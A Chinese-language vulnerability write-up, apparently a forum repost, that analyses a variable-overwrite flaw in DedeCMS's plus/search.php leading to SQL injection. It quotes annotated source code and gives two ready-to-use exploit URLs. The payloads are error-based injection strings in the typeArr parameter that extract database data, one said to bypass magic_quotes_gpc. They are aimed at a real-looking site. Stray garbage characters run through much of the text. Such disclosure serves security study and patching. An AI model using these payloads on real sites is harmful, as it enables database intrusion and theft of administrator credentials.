微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋., G+ Y% ?) \) Z; v8 m9 |% t
作者: c4rp3nt3r@0x50sec.org/ i& e6 [0 M: Q& g, T
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: m4 o4 p& ?8 s* V4 d& n- }. b
, f5 U1 Y& N$ j. {( o黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
5 M" c" X, R- m6 u
3 `& D: v3 b, ^* I/ E============
: H; G2 K; G9 X1 b6 K
& ~) M; I5 q$ q6 J4 K 5 V% d, ?. S, c+ S( F1 m
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.- n* X! A' x& R9 C: z, R4 m5 K
' z* H$ ^; T- y. a, g+ k
require_once(dirname(__FILE__).”/../include/common.inc.php”);/ J9 b. h6 ?; ?" d/ o
require_once(DEDEINC.”/arc.searchview.class.php”);
9 O* j8 ~" u6 h2 E9 S1 u
2 X+ X' c* X R% P( h1 |8 V& Z$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;: v& _& g$ I m+ c8 ~1 }* I- v9 L% G) Z
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
1 P+ a6 f! B9 ~/ t0 Z/ t$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;" I( @# C( }$ j' l
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
/ d4 C }$ g9 @$ \( s7 n5 Q2 k$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
# k4 @% E) v" i5 W* o& C; G 4 W# o1 d0 g6 b+ L7 x- c( R
if(!isset($orderby)) $orderby=”;4 E" _2 c9 @/ [8 t
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);. G. i5 S9 L" `& a1 Q4 g7 h
& |2 W9 z) \$ W0 }" N, h- { 0 _7 r1 A' E/ ?+ `( |# }, R
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
+ B# j$ R' k- B; B( @* C6 Ielse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);6 A) A! `. h8 O
! A3 }1 B: n& F, P# a1 v( j v( W' m
if(!isset($keyword)){+ _# n/ s. X# d
if(!isset($q)) $q = ”;6 F! a* v+ G4 H3 a7 w% _
$keyword=$q;
6 w) e, E$ X5 i( Y}/ d4 @! d3 ~) A. K1 e
N* q" Z! i: R4 W' \5 }: ?, u+ N0 y! Z$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
( R" `8 f( j4 G9 h3 F & j" f" y2 u y/ E
//查找栏目信息
' t0 u/ k5 D& X5 M- ?: I( Aif(empty($typeid))
) s3 i6 n$ m3 @5 d7 K9 {- Y{" ]: C2 Y* W; b. \- `
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;1 N- I/ W. R+ V$ P5 t" O
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )5 E, w) Q/ `( |# l3 K1 F! |. ^4 ^
{5 f( N9 @! y7 |1 X
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
0 [% {# s: K" T# J4 F fwrite($fp, “<”.”?php\r\n”);$ V( ?) P8 a5 @: w
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);7 t; k+ P2 A" N+ A* l
$dsql->Execute();& l3 L: E' f' D1 `$ p
while($row = $dsql->GetArray())
F+ |* X8 D; E' {6 U& L# a {: A( U. B) {" p/ {
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);% r4 s X5 U7 O4 N
}! u8 c& B) [/ L7 r7 [3 y T
fwrite($fp, ‘?’.'>’);
' A' t! m" Z* L% Q2 [( T) z fclose($fp);7 h1 T- u9 c" M" O9 Y' D
}/ q, F6 D# G% @$ u& n+ c
//引入栏目缓存并看关键字是否有相关栏目内容+ b3 }9 X5 N r) I, C+ Y: x
require_once($typenameCacheFile);% ]5 a6 b M- z$ b
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
/ m8 C7 n) w( o; ^' [//
) i M( `/ N" |$ v" { if(isset($typeArr) && is_array($typeArr))! u6 l/ U9 \6 P6 B8 S! T
{# }% P7 q3 Q$ L G, w7 P
foreach($typeArr as $id=>$typename)
! x: D0 R( Y1 y8 w2 H {
* b- f. ]5 }2 d8 }
, ^$ n0 y9 j$ s& v/ Z <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过- p4 K1 j Y! Y; F
if($keyword != $keywordn)
+ @6 P, i# E9 J% L/ B; \ {& T% d- m+ b4 I$ k
$keyword = $keywordn;$ B/ K& G$ e7 `. ]4 \5 V- I7 k
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设. M, R u; t, L5 V- \7 z9 w3 k8 |
break;
, J0 Q# V' k$ g) Z+ n9 o, T& Q" I }* x# H9 F" B$ ]. ~/ T6 l/ E/ u6 k
}0 S4 `: t% m. X8 j. ?) F
}; s7 N8 a1 ^8 ^$ [
}
5 D4 h% K" H2 N9 c X然后plus/search.php文件下面定义了一个 Search类的对象 .
6 e8 }- t: n) p3 I- O* ?! `在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.6 s9 A+ ^8 ]) e
$this->TypeLink = new TypeLink($typeid);
7 E' Q+ {" Y; [. f' N ) U2 U) w m' Q, c+ G" w! N) c5 o7 M
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.+ O: S$ Y+ R' D
$ H* e3 ~0 N/ f. H" pclass TypeLink
! u0 ~. W1 a$ H: B5 D" `{
+ S z7 i ]/ U% ]5 b+ D var $typeDir;4 a) U8 R7 k) k& L" g- U5 h, d5 C4 C, w
var $dsql;
- q. P/ L% q- D" H- ]' Q; ? var $TypeID;
7 c9 J& p8 o, g+ o. b. G0 X0 J var $baseDir;% R, j g9 e3 R" D/ e
var $modDir;. G6 m2 }( r( t/ u! S5 z( j
var $indexUrl;
7 n9 {. d+ A1 t2 g4 ^& U4 {. m var $indexName;5 c6 P& `* V0 H0 l4 i) }
var $TypeInfos;
2 o: M4 b4 M8 E# R* j var $SplitSymbol;+ B% m1 s; [8 S4 X+ \* M% c
var $valuePosition;6 T; e, ?' k0 A4 ~% |
var $valuePositionName;
) S# ^+ i4 | B0 I% p0 s H, R. M var $OptionArrayList;//构造函数///////
, R- W. @3 l$ ~+ @& Q% n //php5构造函数
8 A# c# N* q1 c1 E. c function __construct($typeid)8 Z; R6 f7 q4 G* O" z& [
{; ^6 }! q$ U" E
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];' Y- l1 h) s7 D! M
$this->indexName = $GLOBALS['cfg_indexname'];
% ~0 \: S$ }/ o0 @ $this->baseDir = $GLOBALS['cfg_basedir'];
& P2 P3 F* T& K, T" b3 B4 Q $this->modDir = $GLOBALS['cfg_templets_dir'];4 ~5 x9 j' `0 e+ I4 Z: H. b
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
, e) C5 d6 u. ? $this->dsql = $GLOBALS['dsql'];
* s8 ^; Q H. C# D* Q $this->TypeID = $typeid;7 t' z0 B' Z; F
$this->valuePosition = ”;
4 K$ i4 L+ _9 d, M% S $this->valuePositionName = ”; E( k% M: E) _, t& h Z& I
$this->typeDir = ”;7 t3 C. S6 V9 x! k
$this->OptionArrayList = ”; a8 S) n) s" Z! E( a' L
' ]; e9 n8 i2 q/ A% i+ x2 J
//载入类目信息1 V8 R5 u% R1 l4 }! @/ Z* W
: N3 A7 s4 b+ u: j- L7 [
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
4 q7 p4 r* k, @8 |% R; u; `! Ictypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
% O1 r! X# q" z! l4 G) x5 v7 G6 M& t9 L: g`#@__channeltype` ch
/ v" R( ?; Z) @3 \" M on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿! z P! u; H+ }. h @2 N$ C( C. V! [
& \2 K- ]0 @9 @1 A ? if($typeid > 0)2 u# j' X) s2 I0 i: I6 a
{
. N0 R) `' E& M/ { $this->TypeInfos = $this->dsql->GetOne($query);
; \5 I$ _) X' X5 e/ M利用代码一 需要 即使magic_quotes_gpc = Off% {. }' }* s; J: F; |
1 B% l" R% B0 S8 t
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title2 A& S+ }8 ?; T$ ?; j3 z% ~( A' ]
% B. Y {7 B- C* q( R* A这只是其中一个利用代码… Search 类的构造函数再往下
/ ~1 f8 F. Z1 E6 i# Q \
) ?5 ]. Q" M9 x# T+ O1 J……省略# L, \! }# V7 y3 {
$this->TypeID = $typeid;+ T ~- O! M& f& k% ]) o& U x
……省略
$ V+ i+ x6 _+ z' O9 i4 j& o# Kif($this->TypeID==”0″){3 ^' J: C. R: l8 v
$this->ChannelTypeid=1;) G+ ~- z/ f& E: Y) g
}else{
3 m' w$ p8 Z o3 f $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
) j3 d8 `( e7 I//现在不鸡肋了吧亲…
: d1 J4 u; N' G" h) y4 T $this->ChannelTypeid=$row['channeltype'];( |8 ]* x$ B* B
" K3 y( O& p, r, @6 S5 p/ \4 R4 s- C }
v5 l5 G/ u8 M. C& f/ M利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.1 `0 Z4 Z0 l$ Z# D* c: w
. P3 r+ ~; ^, u& v
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title2 }( n% J. `- @/ J$ G9 d
# X6 O7 a# Y V9 O: U9 }4 f( b
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
' h* i! x9 y7 R& A" D( h" W |